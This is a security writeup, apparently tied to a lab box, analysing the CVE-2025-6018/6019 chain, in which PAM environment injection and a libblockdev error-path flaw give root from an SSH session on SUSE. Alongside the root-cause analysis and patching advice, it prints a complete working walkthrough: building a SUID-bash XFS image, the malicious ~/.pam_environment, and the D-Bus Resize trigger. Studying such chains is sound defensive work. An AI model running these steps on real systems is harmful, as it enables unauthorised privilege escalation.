Exploit Analysis Local Privilege Escalation Advanced

Exploit-Chain-CVE-2025-6018 + CVE-2025-6019

PAM environment variable injection chained with a UDisks2/libblockdev error-handling flaw to achieve full root access from an unprivileged SSH session. A deep dive into trust boundary abuse across the Linux authentication stack.

CVEs CVE-2025-6018, CVE-2025-6019
Target openSUSE Leap 15.x / SUSE
Impact Unprivileged → Root

Full credit and respect to 0rionCollector for the original exploit chain research and public proof-of-concept. This writeup is an independent analysis and documentation of the technique for educational purposes.

Original repository: https://github.com/0rionCollector/Exploit-Chain-CVE-2025-6018-6019

01

Vulnerability Overview

This chain combines two distinct vulnerabilities that individually have limited impact, but together form a complete path from an unprivileged remote shell to full root access. Understanding why each flaw exists is as important as understanding how to trigger it.

CVE Component Class Standalone Impact
CVE-2025-6018 PAM pam_env.so (v1.3.0–1.6.0) Trust boundary violation Session spoofing (allow_active)
CVE-2025-6019 UDisks2 / libblockdev Improper error handling Accessible SUID binary (with allow_active)
Key insight: Neither vulnerability alone gives root. CVE-2025-6018 elevates your session to allow_active status — the permission class normally reserved for users at a physical console. CVE-2025-6019 then uses that status to leave a mounted SUID binary accessible in /tmp.
02

CVE-2025-6018 — PAM Environment Variable Injection

What pam_env.so does

The pam_env.so module is part of the PAM (Pluggable Authentication Modules) framework. Its job is simple: read a user's ~/.pam_environment file and set environment variables when they log in. This was designed for harmless preferences like EDITOR=vim or LANG=en_US.UTF-8.

The OVERRIDE directive

The flaw is in the OVERRIDE directive. In vulnerable versions (PAM 1.3.0 through 1.6.0), this directive lets a user forcibly override any environment variable — including system-critical ones that should never be user-configurable. There is no distinction between safe user preferences and security-sensitive session variables.

Root cause: When PAM was designed in the 1990s, environment variables were considered harmless. The concept that variables like XDG_SEAT would later be used by systemd and Polkit for authorization decisions simply didn't exist. No validation was added when those systems were built on top.

Why XDG variables matter

When a user authenticates over SSH, the PAM stack runs modules in sequence. The relevant chain here is: pam_env.sopam_unix.sopam_systemd.so. By the time pam_systemd.so creates a session in systemd-logind, it reads the environment it was handed — including any variables set by pam_env.so.

By setting the following variables with OVERRIDE, an attacker tricks pam_systemd.so into registering the session as a local physical session — as if someone is sitting at the console:

# ~/.pam_environment — CVE-2025-6018 payload
XDG_SEAT         OVERRIDE=seat0       # Makes session appear tied to physical seat
XDG_VTNR         OVERRIDE=1           # Virtual terminal number (console session indicator)
XDG_SESSION_TYPE OVERRIDE=x11         # Tells logind this is a graphical local session
XDG_SESSION_CLASS OVERRIDE=user       # Standard user session class

What systemd-logind does with this

systemd-logind stores session metadata. When Polkit needs to authorize an action, it queries logind: "Is this user at an active local session?" If the session is marked Remote=no, Seat=seat0, Active=yes, the answer is yes — and the user receives allow_active privileges.

These are the same privileges a user at a physical console would have: the ability to mount removable media, interact with UDisks2, and perform other hardware-adjacent operations. An SSH user should never have these. After injecting the PAM environment and re-authenticating, they do.

03

CVE-2025-6019 — UDisks2/libblockdev Error Handling Flaw

The libblockdev XFS resize path

UDisks2 is the daemon that manages block devices. It delegates filesystem operations to libblockdev. When a user requests an XFS filesystem resize, libblockdev follows this logic:

01 Check if device is mounted
If not mounted, create a temporary mount point at /tmp/blockdev.XXXXXX/
02 Mount the device
Mount the loop device to that temporary directory
03 Attempt resize
Call the XFS resize operation with the requested size parameter
04 FAILURE: Return early without cleanup
If the resize fails, the function returns an error — but never calls umount. The filesystem stays mounted.
The bug: The developer wrote cleanup code only in the success path. The error path returns immediately, leaving the temporary mount alive. This is a textbook "forgot to clean up on error" logic flaw — not a memory corruption bug, just an overlooked exit path.

Why this is exploitable

An attacker with allow_active permissions can call UDisks2.Filesystem.Resize via D-Bus. If they supply an impossible size (like 0), the resize fails — but if the attacker's loop device contains an XFS filesystem, it gets mounted at /tmp/blockdev.XXXXXX/ first.

If that filesystem image was prepared with a SUID-root bash binary, that binary is now sitting in /tmp, owned by root, with the SUID bit intact. Executing it with -p (preserve privileges) yields an effective UID of 0.

04

The Chain of Broken Trust

What makes this attack particularly clean is that every component in the stack behaves exactly as designed — the problem is that the design assumptions no longer hold. No single component validates that the data it receives is actually plausible.

// chain of trust — broken
pam_env.so
Reads ~/.pam_environment without validating which variables are safe for user control. Accepts OVERRIDE on system-critical XDG vars.
pam_systemd.so
Trusts the environment it receives from PAM. Passes XDG_SEAT=seat0 to systemd-logind without questioning the source.
systemd-logind
Trusts PAM's session creation parameters. Records the session as local, Active=yes, Remote=no based on the spoofed XDG variables.
Polkit
Queries logind for session status. Receives "allow_active" — logind says so, so it must be true. Grants full allow_active permission set.
UDisks2
Trusts Polkit's authorization decision. Allows the Filesystem.Resize call. libblockdev mounts and forgets.
No validation at any stage. Each component delegates trust upward and assumes the previous layer did the right thing. Manipulating the very first link (user-controlled environment variables) corrupts every decision downstream.
05

Exploit Code Analysis

The PoC by 0rionCollector is a well-structured three-stage bash script. Here's a breakdown of each stage:

Stage 1 — Building the weapon (attacker machine, run as root)

This stage creates the XFS filesystem image containing a SUID-root bash binary. Must be run as root on the attacker's machine because setting SUID bits requires root ownership.

# Create a 300MB zero-filled disk image
dd if=/dev/zero of=xfs.image bs=1M count=300

# Format as XFS — required for CVE-2025-6019 (XFS-specific resize path)
mkfs.xfs -f xfs.image

# Mount and plant the SUID bash
mount -o loop xfs.image /mnt
cp /bin/bash /mnt/bash
chown root:root /mnt/bash
chmod 4755 /mnt/bash     # 4755 = SUID + rwxr-xr-x
umount /mnt

# Transfer to target
scp xfs.image user@target:/tmp/
Why 300MB? The image needs to be large enough for XFS to format successfully. XFS has a minimum size requirement and the image must be a valid filesystem for UDisks2 to mount it.

Stage 2 — PAM injection (CVE-2025-6018, on target)

Creates the malicious ~/.pam_environment file. This file is processed on the next SSH login — so after running this stage, you must logout and reconnect.

# ~/.pam_environment — written by exploit Stage 2
XDG_SEAT          OVERRIDE=seat0
XDG_VTNR          OVERRIDE=1
XDG_SESSION_TYPE  OVERRIDE=x11
XDG_SESSION_CLASS OVERRIDE=user

After re-authenticating, the script verifies the injection worked by calling the Polkit CanReboot method — if it returns ('yes',), the session now has allow_active status.

# Verify allow_active was obtained
gdbus call --system \
  --dest org.freedesktop.login1 \
  --object-path /org/freedesktop/login1 \
  --method org.freedesktop.login1.Manager.CanReboot

# Expected: ('yes', ...)
# Previously would have returned: ('auth', ...)

Stage 3 — UDisks2 exploitation (CVE-2025-6019, on target)

This stage triggers the bug. First, a loop device is created from the image via UDisks2 (this requires allow_active). Then the intentionally-failing resize is called.

# Kill gvfs monitor — it would auto-unmount the stuck filesystem
killall -KILL gvfs-udisks2-volume-monitor

# Register the XFS image as a loop device via UDisks2
udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction
# Returns: Mapped file /tmp/xfs.image as /dev/loop1

# Trigger CVE-2025-6019: resize with invalid size=0 → mounts but never unmounts
gdbus call --system \
  --dest org.freedesktop.UDisks2 \
  --object-path /org/freedesktop/UDisks2/block_devices/loop1 \
  --method org.freedesktop.UDisks2.Filesystem.Resize \
  0 '{}'

# Error is expected — libblockdev mounts, fails, returns WITHOUT unmounting
# Filesystem is now live at /tmp/blockdev.XXXXXX/

# Execute the SUID bash left behind in Stage 1
/tmp/blockdev.*/bash -p
# -p = preserve EUID — SUID bit makes euid=0
# Result: uid=1000 euid=0 — root shell
Why -p? By default, bash drops elevated privileges if it detects EUID ≠ UID (a safety feature). The -p flag disables this behavior and preserves the effective UID set by the SUID bit — giving you root.

Why kill gvfs-udisks2-volume-monitor?

The GNOME Virtual Filesystem monitor watches for newly mounted volumes and may automatically unmount them or clean up temporary mounts. Killing it before the trigger ensures the stuck mount stays alive long enough to execute the SUID binary.

06

Manual Exploitation — Step by Step

The following walkthrough demonstrates the full attack chain executed manually on target pterodactyl as user phileasfogg3. Every screenshot is from the actual exploitation run.

Step 1 — Baseline session check

Before touching anything, record the current session state. Standard SSH session — Remote is set, no physical seat, no Polkit allow_active permissions.

terminal step 01 — loginctl session-status (before)
loginctl session-status showing session 1, phileasfogg3, Remote 10.10.14.75, service sshd, no seat
Session 1 — phileasfogg3 (1002). Service: sshd, type tty, class user. Remote: 10.10.14.75. No seat assigned. Baseline confirmed — no elevated Polkit permissions.
loginctl session-status
# Remote=yes → this is an SSH session
# Seat= (empty) → no physical seat
# Polkit will return 'auth' for allow_active actions

Step 2 — Write the malicious .pam_environment

Create the file that will poison the session on next login. The OVERRIDE keyword is what makes this bypass possible.

terminal output step 02 — cat ~/.pam_environment
Creating and displaying the malicious .pam_environment file with OVERRIDE directives
~/.pam_environment written with OVERRIDE directives. XDG_SEAT=seat0 is the critical variable — it tells systemd-logind this session is physical.
cat > ~/.pam_environment << 'EOF'
XDG_SEAT          OVERRIDE=seat0
XDG_VTNR          OVERRIDE=1
XDG_SESSION_TYPE  OVERRIDE=x11
XDG_SESSION_CLASS OVERRIDE=user
EOF
cat ~/.pam_environment   # verify

Step 3 — Confirm pam_env.so is in the PAM stack

Before logging out, verify pam_env.so is actually loaded — otherwise the file is silently ignored. Multiple PAM configs reference it, including common-session which runs on every SSH login.

terminal step 03 — grep -r "pam_env" /etc/pam.d/
grep showing pam_env.so in common-auth, common-session, common-auth-pc and common-session-pc
pam_env.so confirmed in both auth and session stacks across four config files. ~/.pam_environment will be processed on the next SSH login.
grep -r "pam_env" /etc/pam.d/
# common-auth:    auth    required pam_env.so
# common-session: session optional pam_env.so

Step 4 — Re-authenticate and confirm seat injection

Logout, SSH back in. PAM injects the XDG variables, pam_systemd.so passes them to systemd-logind, and the session is now registered with Seat: seat0; vc1 despite being a remote connection.

terminal step 04 — loginctl session-status → Seat: seat0; vc1
loginctl session-status after re-login showing Seat: seat0; vc1 with arrow pointing to it
Seat: seat0; vc1 — confirmed. Remote is still 10.10.14.75 (SSH), but systemd-logind now believes this is a physical console session. CVE-2025-6018 triggered successfully.

Step 5 — Verify allow_active granted via Polkit

Call CanReboot on the login1 D-Bus interface. Before injection this returned ('auth',). Now it returns ('yes',) — Polkit confirms allow_active.

terminal step 05 — gdbus CanReboot → ('yes',)
gdbus call to org.freedesktop.login1.Manager.CanReboot returning ('yes',)
('yes',) — Polkit grants allow_active. CVE-2025-6018 exploitation complete. We can now make privileged UDisks2 D-Bus calls that would previously require a physical session.
gdbus call --system \
  --dest org.freedesktop.login1 \
  --object-path /org/freedesktop/login1 \
  --method org.freedesktop.login1.Manager.CanReboot
('yes',)   # Was ('auth',) before injection

Step 6 — Kill gvfs monitor and create loop device

Kill gvfs-udisks2-volume-monitor — it would auto-unmount the stuck filesystem and kill the exploit. Then register the XFS image as /dev/loop0 via UDisks2, which now accepts the call because we have allow_active.

terminal step 06 — killall gvfs + udisksctl → Mapped as /dev/loop0
killall -KILL gvfs-udisks2-volume-monitor then udisksctl loop-setup Mapped file as /dev/loop0, ls -la confirming block device
gvfs monitor killed silently. xfs.image mapped as /dev/loop0 — confirmed with ls -la showing the block device. This udisksctl call would have been rejected before Step 4.
killall -KILL gvfs-udisks2-volume-monitor 2>/dev/null

udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction
Mapped file /tmp/xfs.image as /dev/loop0.

ls -la /dev/loop0
brw-rw---- 1 root disk 7, 0 Feb 21 19:19 /dev/loop0

Step 7 — Capture loop device path dynamically

The loop device number varies depending on what's already active. Capture it into $LOOP_DEV to pass the correct object path to the D-Bus resize call.

terminal step 07 — LOOP_DEV=$(…) → Loop device: /dev/loop1
LOOP_OUTPUT and LOOP_DEV shell variables capturing loop device, echo shows Loop device: /dev/loop1
$LOOP_DEV resolves to /dev/loop1 in this run — always capture dynamically. The number increments with each loop-setup call and differs between systems and runs.
LOOP_OUTPUT=$(udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction 2>&1)
LOOP_DEV=$(echo "$LOOP_OUTPUT" | grep -o '/dev/loop[0-9]*')
echo "Loop device: $LOOP_DEV"
Loop device: /dev/loop1

Step 8 — Trigger CVE-2025-6019 via Filesystem.Resize

Call the vulnerable D-Bus method with size=0. libblockdev mounts the XFS filesystem, attempts the resize, fails, and exits the error path without calling unmount. The filesystem stays mounted at /tmp/blockdev.XXXXXX/.

terminal step 08 — gdbus Filesystem.Resize 0 → error (expected)
gdbus call to org.freedesktop.UDisks2.Filesystem.Resize with 0 and empty options returning GDBus failed error about resizing filesystem on /dev/loop0
GDBus error — expected and necessary. The message "Failed to mount '/dev/loop0' before..." confirms libblockdev attempted to mount, then failed, and never cleaned up. SUID bash is now accessible in /tmp/blockdev.*/.
OBJECT_PATH="/org/freedesktop/UDisks2/block_devices/loop0"

gdbus call --system \
  --dest org.freedesktop.UDisks2 \
  --object-path "$OBJECT_PATH" \
  --method org.freedesktop.UDisks2.Filesystem.Resize \
  0 '{}'

Error: GDBus.Error:org.freedesktop.UDisks2.Error.Failed:
Error resizing filesystem on /dev/loop0: Failed to mount '/dev/loop0'...
# Filesystem mounted + abandoned by libblockdev — exploit in position

Step 9 — Navigate to stuck mount → execute SUID bash → root

List /tmp to find the blockdev.* directory libblockdev created and abandoned. Navigate in, confirm the SUID bash binary is there, execute with -p. The SUID bit sets euid=0.

terminal step 09 — cd /tmp/blockdev.FHVUK3 → ./bash -p → euid=0(root)
ls -la /tmp showing multiple blockdev directories, cd blockdev.FHVUK3, ls shows bash, ./bash -p gives bash-5.3# prompt, id shows euid=0(root)
Four blockdev.* directories in /tmp — earlier failed attempts left empty ones. blockdev.FHVUK3 (size 18) contains the bash binary. ./bash -p → bash-5.3# → id: uid=1002(phileasfogg3) euid=0(root). Chain complete.
ls -la /tmp/
drwx------ root  blockdev.FHVUK3   # size 18 — has files, this is the one
# blockdev.6UB1K3, CF66K3, ODN2K3 — empty (earlier failed attempts)

cd /tmp/blockdev.FHVUK3 && ls
bash   # SUID root bash prepared in Stage 1

./bash -p
bash-5.3# id
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
# euid=0 — root shell. Chain complete.
07

Summary

This chain is a textbook example of how legacy design decisions compound over time. PAM's trust in user environment files, built in the 1990s, was reasonable then. The problem emerged when systemd, Polkit, and UDisks2 were layered on top without anyone asking: "what happens if the data in these variables is wrong?"

The libblockdev bug is simpler — a developer forgot to call umount in an error path. But without CVE-2025-6018 unlocking allow_active, that error path isn't reachable from an unprivileged SSH session.

Takeaway for defenders: Patch PAM to version > 1.6.0 and libblockdev to the fixed release. Additionally, audit PAM configurations for user_readenv=1 and consider whether it's necessary. The OVERRIDE directive should never apply to XDG session variables.

Full credit to 0rionCollector for the original research and PoC development.